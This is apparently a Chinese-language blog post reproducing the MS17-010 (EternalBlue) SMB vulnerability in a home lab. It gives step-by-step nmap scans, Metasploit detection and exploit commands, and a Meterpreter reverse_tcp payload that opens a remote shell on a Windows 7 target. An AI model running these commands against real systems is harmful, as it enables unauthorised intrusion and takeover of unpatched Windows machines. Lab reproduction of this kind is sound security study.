newechoes/src/content/code/ms17-010(永恒之蓝)漏洞复现.md

176 lines
4.7 KiB
Markdown
Raw Normal View History

---
title: "Ms17 010永恒之蓝漏洞复现"
date: 2024-06-30T00:55:27+08:00
tags: []
---
## 一、前言
### 1. 漏洞描述
Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞恶意代码会扫描开放445文件共享端口的Windows机器无需用户任何操作只要开机上网不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
### 2. 漏洞影响
目前已知受影响的 Windows 版本包括但不限于Windows NTWindows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
## 二、复现环境
* 虚拟环境搭建:`VMware Workstation 17 pro`
* 网络模式:`NAT`
* 攻击机:`kali Linux WSL`
* 攻击机IP`192.168.97.173`
* 攻击工具:`nmap` `metasploit(MSF)`
* 靶机:`cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408`**前提win7关闭防火墙**
* 靶机IP`192.168.97.128`
## 三、启动 MSF
1. 安装MSF
```bash
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall
```
2. 进入框架
```bash
msfconsole
```
3. 初始化
```bash
init
```
## 四、寻找主机
### 1. ipconfig
使用`ipconfig`分别查看win7和kali中的ip地址
### 2. nmap
```bash
nmap -T5 -sP 192.168.97.0/24
```
* **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
* **`-sP`**:执行 Ping 连接扫描。
* **`192.168.97.0/24`**:扫描指定的 IP 地址范围。
| **IP地址** | 私有ip范围 | 子网掩码 | CIDR |
|------------|------------|-----------|------|
| A类地址 | 10.0.0.010.255.255.255 | 255.0.0.0 | 10.0.0.0/8 |
| B类地址 | 172.16.0.0173.31.255.255 | 255.255.0.0 | 172.16.0.0/16 |
| C类地址 | 192.168.0.0192.168.255.255 | 255.255.255.0 | 192.168.0.0/24 |
## 五、端口扫描
### 1. nmap
```bash
nmap -T5 -sT 192.168.97.128
```
* **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
* **`-sT`**:执行 TCP 连接扫描。
* **`192.168.97.128`**:扫描指定的 IP
### 2. MSF 端口扫描
1. 使用模块
```bash
use auxiliary/scanner/portscan/tcp
```
2. 设置扫描ip
```bash
set rhosts 192.168.97.128
```
3. 运行
```bash
run
```
## 六、查找永恒之蓝漏洞
微软 永恒之蓝 编号`ms17-010`
```bash
search ms17_010
```
1. `exploit/windows/smb/ms17_010_eternalblue`
* 这个模块利用了MS17-010漏洞通过EternalBlue攻击载荷远程执行代码。
* EternalBlue利用Windows的Server Message BlockSMB协议中的漏洞允许攻击者在目标机器上执行任意代码。
* 攻击成功后通常会在目标机器上生成一个Meterpreter会话从而允许进一步的渗透测试操作。
2. `exploit/windows/smb/ms17_010_psexec`
* 这个模块结合MS17-010漏洞和Psexec技术通过SMB协议在目标系统上执行命令。
* 利用MS17-010漏洞进行初始攻击然后使用Psexec进行进一步的远程命令执行。
* 适用于在利用MS17-010漏洞后希望使用Psexec执行进一步的命令和控制操作时。
3. `auxiliary/admin/smb/ms17_010_command`
* 这个辅助模块用于通过MS17-010漏洞在目标系统上执行指定的命令。
* 不会生成一个持久的会话,而是直接执行特定的命令并返回结果。
* 适用于希望通过MS17-010漏洞在目标系统上执行单个命令的场景。
4. `auxiliary/scanner/smb/smb_ms17_010`
* 这个辅助模块用于扫描目标系统是否存在MS17-010漏洞。
* 不会进行实际的漏洞利用或攻击而是仅检测目标系统是否易受MS17-010漏洞的影响。
## 七、漏洞检测
### 1. 使用探测模块
1. 使用`Auxiliary`辅助探测模块
```bash
use auxiliary/scanner/smb/smb_ms17_010
```
```bash
use 24
```
2. 查看需要配置的参数
```bash
show options
```
3. 设置目标主机地址
```bash
set rhosts 192.168.97.128
```
4. 运行
```bash
run
```
### 2. nmap
```bash
nmap --script smb-vuln-ms17-010 192.168.97.128
```
## 八、漏洞攻击
1. 加载 ms17-010 攻击模块
```bash
use exploit/windows/smb/ms17_010_eternalblue
```
2. 设置目标主机地址
```bash
set rhosts 192.168.97.128
```
3. 设置连接方式为反向连接
```bash
set payload windows/x64/meterpreter/reverse_tcp
```
4. 运行
```bash
run
```
## 九、Meterpreter命令用法
[命令列表和详细说明...]